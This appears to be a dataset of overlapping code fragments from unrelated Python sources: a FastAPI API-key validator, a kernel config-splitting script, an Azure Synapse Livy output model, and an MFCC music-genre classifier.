"import get_user_by_email from pydantic import EmailStr api_key_scheme = APIKeyHeader(name=\"X-API-KEY\", auto_error=False)",
"user.disabled: # disabled user raise HTTPException( status_code=HTTP_403_FORBIDDEN, detail=\"User is disabled\",",
"headers={} ) if user.disabled: # disabled user raise HTTPException( status_code=HTTP_403_FORBIDDEN,",
"validation \"\"\" from typing import Optional from fastapi.security.api_key import APIKeyHeader",
"not verified\", headers={} ) # All verified return User(**user.dict()) else:",
") if email_id is None: raise HTTPException( status_code=HTTP_400_BAD_REQUEST, detail=\"X-EMAIL-ID is",
"raise HTTPException( status_code=HTTP_401_UNAUTHORIZED, detail=\"Email not verified\", headers={} ) # All",
"status_code=HTTP_401_UNAUTHORIZED, detail=\"Email not verified\", headers={} ) # All verified return",
"Optional from fastapi.security.api_key import APIKeyHeader from fastapi import HTTPException, Security,",
"headers={} ) user = await get_user_by_email(db, email_id) # verify email",
") user = await get_user_by_email(db, email_id) # verify email &",
"from fastapi.security.api_key import APIKeyHeader from fastapi import HTTPException, Security, Depends",
"headers={} ) if email_id is None: raise HTTPException( status_code=HTTP_400_BAD_REQUEST, detail=\"X-EMAIL-ID",
"# api key mismatch raise HTTPException( status_code=HTTP_401_UNAUTHORIZED, detail=\"Access not allowed\",",
"status_code=HTTP_400_BAD_REQUEST, detail=\"X-API-KEY is missing\", headers={} ) if email_id is None:",
"APIKeyHeader(name=\"X-EMAIL-ID\", auto_error=False) async def validate_request( api_key: Optional[str] = Security(api_key_scheme), email_id:",
"+ str(api_key) if not verify_key(api_key, user.hashed_api_key): # api key mismatch",
"not user.is_active: # user's email is not verified raise HTTPException(",
"server.db.crud.user import get_user_by_email from pydantic import EmailStr api_key_scheme = APIKeyHeader(name=\"X-API-KEY\",",
"not verify_key(api_key, user.hashed_api_key): # api key mismatch raise HTTPException( status_code=HTTP_401_UNAUTHORIZED,",
"a request with given email and api key to any",
"HTTP_401_UNAUTHORIZED, HTTP_400_BAD_REQUEST, HTTP_403_FORBIDDEN from server.core.security import verify_key from server.db.mongodb import",
"from server.db.mongodb import AsyncIOMotorClient, get_database from server.models.user import User from",
"email_id) # verify email & API key if user: api_key",
"User from server.db.crud.user import get_user_by_email from pydantic import EmailStr api_key_scheme",
"Optional[str] = Security(api_key_scheme), email_id: Optional[EmailStr] = Security(email_scheme), db: AsyncIOMotorClient =",
"not a valid email provided raise HTTPException( status_code=HTTP_400_BAD_REQUEST, detail=\"Unknown Email\",",
"not verified raise HTTPException( status_code=HTTP_401_UNAUTHORIZED, detail=\"Email not verified\", headers={} )",
"Depends(get_database) ) -> Optional[User]: \"\"\"Validate a request with given email",
"\"\"\" from typing import Optional from fastapi.security.api_key import APIKeyHeader from",
"from server.db.crud.user import get_user_by_email from pydantic import EmailStr api_key_scheme =",
"is None: raise HTTPException( status_code=HTTP_400_BAD_REQUEST, detail=\"X-API-KEY is missing\", headers={} )",
"AsyncIOMotorClient = Depends(get_database) ) -> Optional[User]: \"\"\"Validate a request with",
"pydantic import EmailStr api_key_scheme = APIKeyHeader(name=\"X-API-KEY\", auto_error=False) email_scheme = APIKeyHeader(name=\"X-EMAIL-ID\",",
"email_id is None: raise HTTPException( status_code=HTTP_400_BAD_REQUEST, detail=\"X-EMAIL-ID is missing\", headers={}",
"and api key to any endpoint resource \"\"\" if api_key",
"server.db.mongodb import AsyncIOMotorClient, get_database from server.models.user import User from server.db.crud.user",
"user.hashed_api_key): # api key mismatch raise HTTPException( status_code=HTTP_401_UNAUTHORIZED, detail=\"Access not",
"if api_key is None: raise HTTPException( status_code=HTTP_400_BAD_REQUEST, detail=\"X-API-KEY is missing\",",
"raise HTTPException( status_code=HTTP_400_BAD_REQUEST, detail=\"X-EMAIL-ID is missing\", headers={} ) user =",
"import AsyncIOMotorClient, get_database from server.models.user import User from server.db.crud.user import",
"import APIKeyHeader from fastapi import HTTPException, Security, Depends from starlette.status",
"if user: api_key = str(user.salt) + str(api_key) if not verify_key(api_key,",
"# user's email is not verified raise HTTPException( status_code=HTTP_401_UNAUTHORIZED, detail=\"Email",
"HTTPException( status_code=HTTP_401_UNAUTHORIZED, detail=\"Email not verified\", headers={} ) # All verified",
"= Security(api_key_scheme), email_id: Optional[EmailStr] = Security(email_scheme), db: AsyncIOMotorClient = Depends(get_database)",
"starlette.status import HTTP_401_UNAUTHORIZED, HTTP_400_BAD_REQUEST, HTTP_403_FORBIDDEN from server.core.security import verify_key from",
"request with given email and api key to any endpoint"
] |
[
"config files for config in sys.argv[1:]: allconfigs[config] = set() for",
"config options common = allconfigs.values()[0].copy() for config in allconfigs.keys(): common",
"CONFIG_%s %s\" % (option, value) else: print >>f, \"CONFIG_%s=%s\" %",
"allconfigs[\"common\"] = common # Generate new splitconfigs for config in",
"f = open(\"split-\" + config, \"w\") for option, value in",
"for option, value in sorted(list(allconfigs[config])): if value == \"is not",
"for more details: http://dev.chromium.org/chromium-os/how-tos-and-troubleshooting/kernel-configuration \"\"\" import os import re import",
"# This is a slightly modified version of ChromiumOS' splitconfig",
"continue option, value = m.groups() allconfigs[config].add((option, value)) # Split out",
"slightly modified version of ChromiumOS' splitconfig # https://chromium.googlesource.com/chromiumos/third_party/kernel/+/stabilize-5899.B-chromeos-3.14/chromeos/scripts/splitconfig \"\"\"See this",
"-= common allconfigs[\"common\"] = common # Generate new splitconfigs for",
"option, value in sorted(list(allconfigs[config])): if value == \"is not set\":",
"line in open(config): m = re.match(\"#*\\s*CONFIG_(\\w+)[\\s=](.*)$\", line) if not m:",
"= m.groups() allconfigs[config].add((option, value)) # Split out common config options",
"Generate new splitconfigs for config in allconfigs.keys(): f = open(\"split-\"",
"This is a slightly modified version of ChromiumOS' splitconfig #",
"import re import sys allconfigs = {} # Parse config",
"option, value = m.groups() allconfigs[config].add((option, value)) # Split out common",
"\"is not set\": print >>f, \"# CONFIG_%s %s\" % (option,",
"\"\"\"See this page for more details: http://dev.chromium.org/chromium-os/how-tos-and-troubleshooting/kernel-configuration \"\"\" import os",
"allconfigs.keys(): common &= allconfigs[config] for config in allconfigs.keys(): allconfigs[config] -=",
"{} # Parse config files for config in sys.argv[1:]: allconfigs[config]",
"for config in allconfigs.keys(): f = open(\"split-\" + config, \"w\")",
"splitconfig # https://chromium.googlesource.com/chromiumos/third_party/kernel/+/stabilize-5899.B-chromeos-3.14/chromeos/scripts/splitconfig \"\"\"See this page for more details: http://dev.chromium.org/chromium-os/how-tos-and-troubleshooting/kernel-configuration",
"# Parse config files for config in sys.argv[1:]: allconfigs[config] =",
"Parse config files for config in sys.argv[1:]: allconfigs[config] = set()",
"in sys.argv[1:]: allconfigs[config] = set() for line in open(config): m",
"splitconfigs for config in allconfigs.keys(): f = open(\"split-\" + config,",
"allconfigs[config] for config in allconfigs.keys(): allconfigs[config] -= common allconfigs[\"common\"] =",
"common = allconfigs.values()[0].copy() for config in allconfigs.keys(): common &= allconfigs[config]",
"<reponame>Osirium/linuxkit<gh_stars>1000+ #!/usr/bin/env python # This is a slightly modified version",
"for config in allconfigs.keys(): common &= allconfigs[config] for config in",
"https://chromium.googlesource.com/chromiumos/third_party/kernel/+/stabilize-5899.B-chromeos-3.14/chromeos/scripts/splitconfig \"\"\"See this page for more details: http://dev.chromium.org/chromium-os/how-tos-and-troubleshooting/kernel-configuration \"\"\" import",
"\"w\") for option, value in sorted(list(allconfigs[config])): if value == \"is",
"+ config, \"w\") for option, value in sorted(list(allconfigs[config])): if value",
"print >>f, \"# CONFIG_%s %s\" % (option, value) else: print",
"open(\"split-\" + config, \"w\") for option, value in sorted(list(allconfigs[config])): if",
"&= allconfigs[config] for config in allconfigs.keys(): allconfigs[config] -= common allconfigs[\"common\"]",
"re import sys allconfigs = {} # Parse config files",
"set() for line in open(config): m = re.match(\"#*\\s*CONFIG_(\\w+)[\\s=](.*)$\", line) if",
"more details: http://dev.chromium.org/chromium-os/how-tos-and-troubleshooting/kernel-configuration \"\"\" import os import re import sys",
"modified version of ChromiumOS' splitconfig # https://chromium.googlesource.com/chromiumos/third_party/kernel/+/stabilize-5899.B-chromeos-3.14/chromeos/scripts/splitconfig \"\"\"See this page",
"= re.match(\"#*\\s*CONFIG_(\\w+)[\\s=](.*)$\", line) if not m: continue option, value =",
"sys allconfigs = {} # Parse config files for config",
"config in allconfigs.keys(): f = open(\"split-\" + config, \"w\") for",
"% (option, value) else: print >>f, \"CONFIG_%s=%s\" % (option, value)",
"#!/usr/bin/env python # This is a slightly modified version of",
"a slightly modified version of ChromiumOS' splitconfig # https://chromium.googlesource.com/chromiumos/third_party/kernel/+/stabilize-5899.B-chromeos-3.14/chromeos/scripts/splitconfig \"\"\"See",
"config in sys.argv[1:]: allconfigs[config] = set() for line in open(config):",
"allconfigs[config] -= common allconfigs[\"common\"] = common # Generate new splitconfigs",
"common &= allconfigs[config] for config in allconfigs.keys(): allconfigs[config] -= common",
"files for config in sys.argv[1:]: allconfigs[config] = set() for line",
">>f, \"# CONFIG_%s %s\" % (option, value) else: print >>f,",
"is a slightly modified version of ChromiumOS' splitconfig # https://chromium.googlesource.com/chromiumos/third_party/kernel/+/stabilize-5899.B-chromeos-3.14/chromeos/scripts/splitconfig",
"in sorted(list(allconfigs[config])): if value == \"is not set\": print >>f,",
"%s\" % (option, value) else: print >>f, \"CONFIG_%s=%s\" % (option,",
"\"# CONFIG_%s %s\" % (option, value) else: print >>f, \"CONFIG_%s=%s\"",
"common allconfigs[\"common\"] = common # Generate new splitconfigs for config",
"config in allconfigs.keys(): common &= allconfigs[config] for config in allconfigs.keys():",
"open(config): m = re.match(\"#*\\s*CONFIG_(\\w+)[\\s=](.*)$\", line) if not m: continue option,",
"value == \"is not set\": print >>f, \"# CONFIG_%s %s\"",
"new splitconfigs for config in allconfigs.keys(): f = open(\"split-\" +",
"config, \"w\") for option, value in sorted(list(allconfigs[config])): if value ==",
"set\": print >>f, \"# CONFIG_%s %s\" % (option, value) else:",
"in allconfigs.keys(): f = open(\"split-\" + config, \"w\") for option,",
"allconfigs.values()[0].copy() for config in allconfigs.keys(): common &= allconfigs[config] for config",
"= common # Generate new splitconfigs for config in allconfigs.keys():",
"http://dev.chromium.org/chromium-os/how-tos-and-troubleshooting/kernel-configuration \"\"\" import os import re import sys allconfigs =",
"m.groups() allconfigs[config].add((option, value)) # Split out common config options common",
"m = re.match(\"#*\\s*CONFIG_(\\w+)[\\s=](.*)$\", line) if not m: continue option, value",
"this page for more details: http://dev.chromium.org/chromium-os/how-tos-and-troubleshooting/kernel-configuration \"\"\" import os import",
"== \"is not set\": print >>f, \"# CONFIG_%s %s\" %",
"value = m.groups() allconfigs[config].add((option, value)) # Split out common config",
"not set\": print >>f, \"# CONFIG_%s %s\" % (option, value)",
"# https://chromium.googlesource.com/chromiumos/third_party/kernel/+/stabilize-5899.B-chromeos-3.14/chromeos/scripts/splitconfig \"\"\"See this page for more details: http://dev.chromium.org/chromium-os/how-tos-and-troubleshooting/kernel-configuration \"\"\"",
"m: continue option, value = m.groups() allconfigs[config].add((option, value)) # Split",
"allconfigs[config] = set() for line in open(config): m = re.match(\"#*\\s*CONFIG_(\\w+)[\\s=](.*)$\",",
"out common config options common = allconfigs.values()[0].copy() for config in",
"for config in allconfigs.keys(): allconfigs[config] -= common allconfigs[\"common\"] = common",
"in allconfigs.keys(): common &= allconfigs[config] for config in allconfigs.keys(): allconfigs[config]",
"config in allconfigs.keys(): allconfigs[config] -= common allconfigs[\"common\"] = common #",
"value in sorted(list(allconfigs[config])): if value == \"is not set\": print",
"# Generate new splitconfigs for config in allconfigs.keys(): f =",
"(option, value) else: print >>f, \"CONFIG_%s=%s\" % (option, value) f.close()",
"for line in open(config): m = re.match(\"#*\\s*CONFIG_(\\w+)[\\s=](.*)$\", line) if not",
"# Split out common config options common = allconfigs.values()[0].copy() for",
"line) if not m: continue option, value = m.groups() allconfigs[config].add((option,",
"version of ChromiumOS' splitconfig # https://chromium.googlesource.com/chromiumos/third_party/kernel/+/stabilize-5899.B-chromeos-3.14/chromeos/scripts/splitconfig \"\"\"See this page for",
"value)) # Split out common config options common = allconfigs.values()[0].copy()",
"import os import re import sys allconfigs = {} #",
"not m: continue option, value = m.groups() allconfigs[config].add((option, value)) #",
"python # This is a slightly modified version of ChromiumOS'",
"allconfigs.keys(): f = open(\"split-\" + config, \"w\") for option, value",
"page for more details: http://dev.chromium.org/chromium-os/how-tos-and-troubleshooting/kernel-configuration \"\"\" import os import re",
"if not m: continue option, value = m.groups() allconfigs[config].add((option, value))",
"allconfigs = {} # Parse config files for config in",
"allconfigs[config].add((option, value)) # Split out common config options common =",
"details: http://dev.chromium.org/chromium-os/how-tos-and-troubleshooting/kernel-configuration \"\"\" import os import re import sys allconfigs",
"= allconfigs.values()[0].copy() for config in allconfigs.keys(): common &= allconfigs[config] for",
"options common = allconfigs.values()[0].copy() for config in allconfigs.keys(): common &=",
"= open(\"split-\" + config, \"w\") for option, value in sorted(list(allconfigs[config])):",
"if value == \"is not set\": print >>f, \"# CONFIG_%s",
"re.match(\"#*\\s*CONFIG_(\\w+)[\\s=](.*)$\", line) if not m: continue option, value = m.groups()",
"common config options common = allconfigs.values()[0].copy() for config in allconfigs.keys():",
"sys.argv[1:]: allconfigs[config] = set() for line in open(config): m =",
"ChromiumOS' splitconfig # https://chromium.googlesource.com/chromiumos/third_party/kernel/+/stabilize-5899.B-chromeos-3.14/chromeos/scripts/splitconfig \"\"\"See this page for more details:",
"import sys allconfigs = {} # Parse config files for",
"= set() for line in open(config): m = re.match(\"#*\\s*CONFIG_(\\w+)[\\s=](.*)$\", line)",
"os import re import sys allconfigs = {} # Parse",
"in allconfigs.keys(): allconfigs[config] -= common allconfigs[\"common\"] = common # Generate",
"for config in sys.argv[1:]: allconfigs[config] = set() for line in",
"\"\"\" import os import re import sys allconfigs = {}",
"common # Generate new splitconfigs for config in allconfigs.keys(): f",
"allconfigs.keys(): allconfigs[config] -= common allconfigs[\"common\"] = common # Generate new",
"in open(config): m = re.match(\"#*\\s*CONFIG_(\\w+)[\\s=](.*)$\", line) if not m: continue",
"of ChromiumOS' splitconfig # https://chromium.googlesource.com/chromiumos/third_party/kernel/+/stabilize-5899.B-chromeos-3.14/chromeos/scripts/splitconfig \"\"\"See this page for more",
"= {} # Parse config files for config in sys.argv[1:]:",
"Split out common config options common = allconfigs.values()[0].copy() for config",
"sorted(list(allconfigs[config])): if value == \"is not set\": print >>f, \"#"
] |
[
"ename: str :param evalue: :type evalue: str :param traceback: :type",
"'type': '[str]'}, } def __init__(self, **kwargs): super(LivyStatementOutput, self).__init__(**kwargs) self.status =",
"# regenerated. # -------------------------------------------------------------------------- from msrest.serialization import Model class LivyStatementOutput(Model):",
"the MIT License. See License.txt in the project root for",
"status: :type status: str :param execution_count: :type execution_count: int :param",
"self).__init__(**kwargs) self.status = kwargs.get('status', None) self.execution_count = kwargs.get('execution_count', None) self.data",
"self.data = kwargs.get('data', None) self.ename = kwargs.get('ename', None) self.evalue =",
"'ename': {'key': 'ename', 'type': 'str'}, 'evalue': {'key': 'evalue', 'type': 'str'},",
"= kwargs.get('execution_count', None) self.data = kwargs.get('data', None) self.ename = kwargs.get('ename',",
"the project root for # license information. # # Code",
"'str'}, 'evalue': {'key': 'evalue', 'type': 'str'}, 'traceback': {'key': 'traceback', 'type':",
"data: object :param ename: :type ename: str :param evalue: :type",
"kwargs.get('execution_count', None) self.data = kwargs.get('data', None) self.ename = kwargs.get('ename', None)",
"Generator. # Changes may cause incorrect behavior and will be",
"\"\"\"LivyStatementOutput. :param status: :type status: str :param execution_count: :type execution_count:",
"'str'}, 'execution_count': {'key': 'execution_count', 'type': 'int'}, 'data': {'key': 'data', 'type':",
"status: str :param execution_count: :type execution_count: int :param data: :type",
"# -------------------------------------------------------------------------- from msrest.serialization import Model class LivyStatementOutput(Model): \"\"\"LivyStatementOutput. :param",
"'int'}, 'data': {'key': 'data', 'type': 'object'}, 'ename': {'key': 'ename', 'type':",
"self.ename = kwargs.get('ename', None) self.evalue = kwargs.get('evalue', None) self.traceback =",
"'data', 'type': 'object'}, 'ename': {'key': 'ename', 'type': 'str'}, 'evalue': {'key':",
":type data: object :param ename: :type ename: str :param evalue:",
"-------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. #",
"= kwargs.get('status', None) self.execution_count = kwargs.get('execution_count', None) self.data = kwargs.get('data',",
"license information. # # Code generated by Microsoft (R) AutoRest",
"'type': 'object'}, 'ename': {'key': 'ename', 'type': 'str'}, 'evalue': {'key': 'evalue',",
"by Microsoft (R) AutoRest Code Generator. # Changes may cause",
"Changes may cause incorrect behavior and will be lost if",
"behavior and will be lost if the code is #",
":param ename: :type ename: str :param evalue: :type evalue: str",
"'ename', 'type': 'str'}, 'evalue': {'key': 'evalue', 'type': 'str'}, 'traceback': {'key':",
"incorrect behavior and will be lost if the code is",
"Model class LivyStatementOutput(Model): \"\"\"LivyStatementOutput. :param status: :type status: str :param",
"MIT License. See License.txt in the project root for #",
"AutoRest Code Generator. # Changes may cause incorrect behavior and",
"import Model class LivyStatementOutput(Model): \"\"\"LivyStatementOutput. :param status: :type status: str",
"evalue: :type evalue: str :param traceback: :type traceback: list[str] \"\"\"",
"self.execution_count = kwargs.get('execution_count', None) self.data = kwargs.get('data', None) self.ename =",
"'type': 'str'}, 'execution_count': {'key': 'execution_count', 'type': 'int'}, 'data': {'key': 'data',",
"may cause incorrect behavior and will be lost if the",
"the code is # regenerated. # -------------------------------------------------------------------------- from msrest.serialization import",
"'execution_count': {'key': 'execution_count', 'type': 'int'}, 'data': {'key': 'data', 'type': 'object'},",
"project root for # license information. # # Code generated",
"See License.txt in the project root for # license information.",
"object :param ename: :type ename: str :param evalue: :type evalue:",
":type evalue: str :param traceback: :type traceback: list[str] \"\"\" _attribute_map",
"'execution_count', 'type': 'int'}, 'data': {'key': 'data', 'type': 'object'}, 'ename': {'key':",
"# Copyright (c) Microsoft Corporation. All rights reserved. # Licensed",
"\"\"\" _attribute_map = { 'status': {'key': 'status', 'type': 'str'}, 'execution_count':",
"generated by Microsoft (R) AutoRest Code Generator. # Changes may",
"'evalue', 'type': 'str'}, 'traceback': {'key': 'traceback', 'type': '[str]'}, } def",
"in the project root for # license information. # #",
":type status: str :param execution_count: :type execution_count: int :param data:",
"= kwargs.get('data', None) self.ename = kwargs.get('ename', None) self.evalue = kwargs.get('evalue',",
"reserved. # Licensed under the MIT License. See License.txt in",
"'evalue': {'key': 'evalue', 'type': 'str'}, 'traceback': {'key': 'traceback', 'type': '[str]'},",
"} def __init__(self, **kwargs): super(LivyStatementOutput, self).__init__(**kwargs) self.status = kwargs.get('status', None)",
"'traceback': {'key': 'traceback', 'type': '[str]'}, } def __init__(self, **kwargs): super(LivyStatementOutput,",
"execution_count: int :param data: :type data: object :param ename: :type",
"# # Code generated by Microsoft (R) AutoRest Code Generator.",
"'type': 'str'}, 'evalue': {'key': 'evalue', 'type': 'str'}, 'traceback': {'key': 'traceback',",
"str :param execution_count: :type execution_count: int :param data: :type data:",
"Corporation. All rights reserved. # Licensed under the MIT License.",
"# Licensed under the MIT License. See License.txt in the",
"<gh_stars>1-10 # coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation.",
"msrest.serialization import Model class LivyStatementOutput(Model): \"\"\"LivyStatementOutput. :param status: :type status:",
":param traceback: :type traceback: list[str] \"\"\" _attribute_map = { 'status':",
"execution_count: :type execution_count: int :param data: :type data: object :param",
"# Changes may cause incorrect behavior and will be lost",
"# -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved.",
"ename: :type ename: str :param evalue: :type evalue: str :param",
"Code generated by Microsoft (R) AutoRest Code Generator. # Changes",
"information. # # Code generated by Microsoft (R) AutoRest Code",
"coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights",
"None) self.execution_count = kwargs.get('execution_count', None) self.data = kwargs.get('data', None) self.ename",
"kwargs.get('data', None) self.ename = kwargs.get('ename', None) self.evalue = kwargs.get('evalue', None)",
"'str'}, 'traceback': {'key': 'traceback', 'type': '[str]'}, } def __init__(self, **kwargs):",
"License. See License.txt in the project root for # license",
"def __init__(self, **kwargs): super(LivyStatementOutput, self).__init__(**kwargs) self.status = kwargs.get('status', None) self.execution_count",
"will be lost if the code is # regenerated. #",
":type ename: str :param evalue: :type evalue: str :param traceback:",
"lost if the code is # regenerated. # -------------------------------------------------------------------------- from",
"'type': 'str'}, 'traceback': {'key': 'traceback', 'type': '[str]'}, } def __init__(self,",
"None) self.data = kwargs.get('data', None) self.ename = kwargs.get('ename', None) self.evalue",
"'type': 'int'}, 'data': {'key': 'data', 'type': 'object'}, 'ename': {'key': 'ename',",
"self.status = kwargs.get('status', None) self.execution_count = kwargs.get('execution_count', None) self.data =",
":type traceback: list[str] \"\"\" _attribute_map = { 'status': {'key': 'status',",
"'traceback', 'type': '[str]'}, } def __init__(self, **kwargs): super(LivyStatementOutput, self).__init__(**kwargs) self.status",
"__init__(self, **kwargs): super(LivyStatementOutput, self).__init__(**kwargs) self.status = kwargs.get('status', None) self.execution_count =",
"and will be lost if the code is # regenerated.",
"'data': {'key': 'data', 'type': 'object'}, 'ename': {'key': 'ename', 'type': 'str'},",
"is # regenerated. # -------------------------------------------------------------------------- from msrest.serialization import Model class",
"'status': {'key': 'status', 'type': 'str'}, 'execution_count': {'key': 'execution_count', 'type': 'int'},",
"code is # regenerated. # -------------------------------------------------------------------------- from msrest.serialization import Model",
"str :param evalue: :type evalue: str :param traceback: :type traceback:",
"-------------------------------------------------------------------------- from msrest.serialization import Model class LivyStatementOutput(Model): \"\"\"LivyStatementOutput. :param status:",
"{'key': 'traceback', 'type': '[str]'}, } def __init__(self, **kwargs): super(LivyStatementOutput, self).__init__(**kwargs)",
"{'key': 'execution_count', 'type': 'int'}, 'data': {'key': 'data', 'type': 'object'}, 'ename':",
"under the MIT License. See License.txt in the project root",
"traceback: list[str] \"\"\" _attribute_map = { 'status': {'key': 'status', 'type':",
"int :param data: :type data: object :param ename: :type ename:",
"= { 'status': {'key': 'status', 'type': 'str'}, 'execution_count': {'key': 'execution_count',",
"cause incorrect behavior and will be lost if the code",
"'object'}, 'ename': {'key': 'ename', 'type': 'str'}, 'evalue': {'key': 'evalue', 'type':",
"(c) Microsoft Corporation. All rights reserved. # Licensed under the",
"All rights reserved. # Licensed under the MIT License. See",
"super(LivyStatementOutput, self).__init__(**kwargs) self.status = kwargs.get('status', None) self.execution_count = kwargs.get('execution_count', None)",
"kwargs.get('status', None) self.execution_count = kwargs.get('execution_count', None) self.data = kwargs.get('data', None)",
"evalue: str :param traceback: :type traceback: list[str] \"\"\" _attribute_map =",
"Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect",
":param status: :type status: str :param execution_count: :type execution_count: int",
"'[str]'}, } def __init__(self, **kwargs): super(LivyStatementOutput, self).__init__(**kwargs) self.status = kwargs.get('status',",
":type execution_count: int :param data: :type data: object :param ename:",
"**kwargs): super(LivyStatementOutput, self).__init__(**kwargs) self.status = kwargs.get('status', None) self.execution_count = kwargs.get('execution_count',",
"from msrest.serialization import Model class LivyStatementOutput(Model): \"\"\"LivyStatementOutput. :param status: :type",
"None) self.ename = kwargs.get('ename', None) self.evalue = kwargs.get('evalue', None) self.traceback",
"root for # license information. # # Code generated by",
"{ 'status': {'key': 'status', 'type': 'str'}, 'execution_count': {'key': 'execution_count', 'type':",
"Microsoft Corporation. All rights reserved. # Licensed under the MIT",
"Licensed under the MIT License. See License.txt in the project",
"regenerated. # -------------------------------------------------------------------------- from msrest.serialization import Model class LivyStatementOutput(Model): \"\"\"LivyStatementOutput.",
"{'key': 'evalue', 'type': 'str'}, 'traceback': {'key': 'traceback', 'type': '[str]'}, }",
"{'key': 'data', 'type': 'object'}, 'ename': {'key': 'ename', 'type': 'str'}, 'evalue':",
"# Code generated by Microsoft (R) AutoRest Code Generator. #",
"str :param traceback: :type traceback: list[str] \"\"\" _attribute_map = {",
"traceback: :type traceback: list[str] \"\"\" _attribute_map = { 'status': {'key':",
"LivyStatementOutput(Model): \"\"\"LivyStatementOutput. :param status: :type status: str :param execution_count: :type",
"rights reserved. # Licensed under the MIT License. See License.txt",
"'status', 'type': 'str'}, 'execution_count': {'key': 'execution_count', 'type': 'int'}, 'data': {'key':",
"# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All",
"License.txt in the project root for # license information. #",
"# license information. # # Code generated by Microsoft (R)",
"data: :type data: object :param ename: :type ename: str :param",
":param execution_count: :type execution_count: int :param data: :type data: object",
":param evalue: :type evalue: str :param traceback: :type traceback: list[str]",
"kwargs.get('ename', None) self.evalue = kwargs.get('evalue', None) self.traceback = kwargs.get('traceback', None)",
"Code Generator. # Changes may cause incorrect behavior and will",
"class LivyStatementOutput(Model): \"\"\"LivyStatementOutput. :param status: :type status: str :param execution_count:",
"be lost if the code is # regenerated. # --------------------------------------------------------------------------",
"{'key': 'status', 'type': 'str'}, 'execution_count': {'key': 'execution_count', 'type': 'int'}, 'data':",
":param data: :type data: object :param ename: :type ename: str",
"{'key': 'ename', 'type': 'str'}, 'evalue': {'key': 'evalue', 'type': 'str'}, 'traceback':",
"list[str] \"\"\" _attribute_map = { 'status': {'key': 'status', 'type': 'str'},",
"for # license information. # # Code generated by Microsoft",
"if the code is # regenerated. # -------------------------------------------------------------------------- from msrest.serialization",
"(R) AutoRest Code Generator. # Changes may cause incorrect behavior",
"_attribute_map = { 'status': {'key': 'status', 'type': 'str'}, 'execution_count': {'key':",
"= kwargs.get('ename', None) self.evalue = kwargs.get('evalue', None) self.traceback = kwargs.get('traceback',",
"Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under"
] |
[
"'TEST ACCURACY:', knn_clf.score(X_test, y_test) toc = time.time() if verbose: print",
"label size:', y_test.shape return norm_data def svm_classifier(data, test_size, weak=False, verbose=False):",
"= train_test_split(features, labels, test_size=test_size, random_state=42) norm_data = {} norm_data['X_train'] =",
"warnings warnings.filterwarnings(\"ignore\") import numpy as np import torch import torch.nn",
"print every 2000 mini-batches print('[%d, %5d] loss: %.3f' % (epoch",
"print 'Training sample label size:', y_train.shape print 'Test sample feature",
"print 'calculating mfccs...' mfccs = mfcc_processing.write_mfccs(input_path, mfcc_path, True) else :",
"= './data/genres/' mfcc_path = './data/processed/mfcc/' have_mfccs = True def normalize_and_split(data,",
"running_loss = 0.0 correct = 0 total = 0 with",
"the parameter gradients optimizer.zero_grad() # forward + backward + optimize",
"print 'Test sample label size:', y_test.shape return norm_data def svm_classifier(data,",
"'Training sample label size:', y_train.shape print 'Test sample feature size:',",
"= False if weak: data = mfcc_processing.featurize_data(mfccs, weak=True, verbose=True) print",
"time.time() if verbose: print '\\ttime taken for SVM classifier to",
"'./data/genres/' mfcc_path = './data/processed/mfcc/' have_mfccs = True def normalize_and_split(data, test_size,",
"criterion(outputs, labels) loss.backward optimizer.step() # print statistics running_loss += loss.item()",
"time.time() svm_clf = SVC(C=10000, kernel='poly', degree=3, tol=0.0001, max_iter=5000, decision_function_shape='ovr') if",
"in enumerate(trainloader, 0): inputs, labels = data # zero the",
"Notes: - Weak implies weakly supervised learning (4 classes) -",
"# print every 2000 mini-batches print('[%d, %5d] loss: %.3f' %",
"the total data ''' import os import glob import sys",
"= time.time() if verbose: print '\\ttime taken for SVM classifier",
"from sklearn.preprocessing import MinMaxScaler from sklearn.preprocessing import normalize input_path =",
"learning (4 classes) - Strong implies strongly (fully) superversied learning",
"= SVC(C=10000, kernel='poly', degree=3, tol=0.0001, max_iter=5000, decision_function_shape='ovr') if weak \\",
"print mfcc_nn_model(num_epochs=10, test_size=0.10, weak=True, verbose=True) else: data = mfcc_processing.featurize_data(mfccs, weak=False,",
"print '\\ttime taken for SVM classifier to run is', toc-tic",
"0 with torch.no_grad(): for data in testloader: inputs, labels =",
"outputs = net(inputs) _, predicted = torch.max(outputs.data, 1) total +=",
"more performance boosts) - Currently, optimal benchmark results are achieved",
"learning (10 classes) - frame number is set to 22ms",
"True def normalize_and_split(data, test_size, verbose=False): scaler = MinMaxScaler() features =",
"os import glob import sys import time import warnings warnings.filterwarnings(\"ignore\")",
"(i.e. feed more data for more performance boosts) - Currently,",
"print 'Training sample feature size:', X_train.shape print 'Training sample label",
"\"sweet spot\" based on dsp literature - sampling rate is",
"data # zero the parameter gradients optimizer.zero_grad() # forward +",
"optimizer.step() # print statistics running_loss += loss.item() if verbose and",
"optim.SGD(net.parameters(), lr=0.1, momentum=0.8) for epoch in range(num_epochs): running_loss = 0.0",
"from sklearn.model_selection import train_test_split from sklearn.svm import SVC from sklearn.neighbors",
"from sklearn.cluster import KMeans from sklearn.preprocessing import MinMaxScaler from sklearn.preprocessing",
"random_state=42) norm_data = {} norm_data['X_train'] = X_train norm_data['X_test'] = X_test",
"mfcc_nn_model(num_epochs=10, test_size=0.10, weak=True, verbose=True) else: data = mfcc_processing.featurize_data(mfccs, weak=False, verbose=True)",
"verbose=False): scaler = MinMaxScaler() features = scaler.fit_transform(data['features']) labels = data['labels']",
"0.0 correct = 0 total = 0 with torch.no_grad(): for",
"to run is', toc-tic return if __name__ == '__main__': mfccs",
"for epoch in range(num_epochs): running_loss = 0.0 for i, data",
"tic = time.time() svm_clf = SVC(C=10000, kernel='poly', degree=3, tol=0.0001, max_iter=5000,",
"as nn import torch.nn.functional as F import torch.optim as optim",
"n_jobs=-1) knn_clf.fit(X_train, y_train) print 'TEST ACCURACY:', knn_clf.score(X_test, y_test) toc =",
"i % 5 == 0: # print every 2000 mini-batches",
"lr=0.1, momentum=0.8) for epoch in range(num_epochs): running_loss = 0.0 for",
"else: dataset = datasets.MfccDataset(mfcc_path, tensorize) net = models.MfccNet() trainloader, testloader",
